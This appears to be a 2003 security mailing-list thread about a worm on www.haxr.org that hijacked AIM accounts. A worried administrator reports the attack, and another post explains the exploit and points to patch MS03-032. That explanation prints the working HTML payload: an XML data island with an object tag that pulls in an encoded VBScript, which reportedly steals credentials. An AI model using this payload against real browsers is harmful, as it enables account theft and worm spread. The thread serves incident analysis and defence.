This is just a simple exploit utilizing the Object Data vulnerability
discovered by Drew Copley, coupled with the GreyMagic no-script HTML
rendering as demonstrated earlier on this list and others by jelmer.
Tell your user to go install MS03-032, which he obviously did not do as
MS03-032 patches this vulnerability. MS03-032 was released on August 20
and you can find it at
Now, for some details:
www.haxr.org contains the following HTML code (with <> replaced to ):
[span datasrc="#oExec" datafld="counter" dataformatas="html"][/span]
[xml id="oExec"] [security] [counter] [![CDATA[ [object
data=tracker.php][/object] ]]] [/counter] [/security] [/xml]
Tracker.php contains the following HTTP header:
And the following HTML code:
[script language="VBScript.Encode" src="exec.vbs"][/script] [body]
You already gave us a copy of exec.vbs, so no reason to repeat that.
Now, if any mind-boggling lame antivirus system shouts back at me for
repeating GM#001 or the Object Data HTTP header, I reserve the right to
mail your system administrator and notify him of his malfunctioning

Hi, can anyone shed some light on this for me? If this is new, its
going to spread like wildfire. AOL or incidents lists have yet to
reply.... it appears to be a legitimate threat as I have at least one
user "infected" already.. Thank you..
Hi, please find attached the vbs code that appears to be running when
visitors hit www.haxr.org.
This reportedly pulls username/password from registry of AIM accounts,
then something elsewhere gets buddy lists through this password theft
and sends links to them via AOL to start the process again.
We've had at least one "infection" if you want to call it that, and a
user's AIM account was hijacked and this link sent to all users in his
buddy list which then propelled the "infection" as they click the link
Does anyone have any information about this issue? Any help on this
would be greatly appreciated. Still chasing it down..
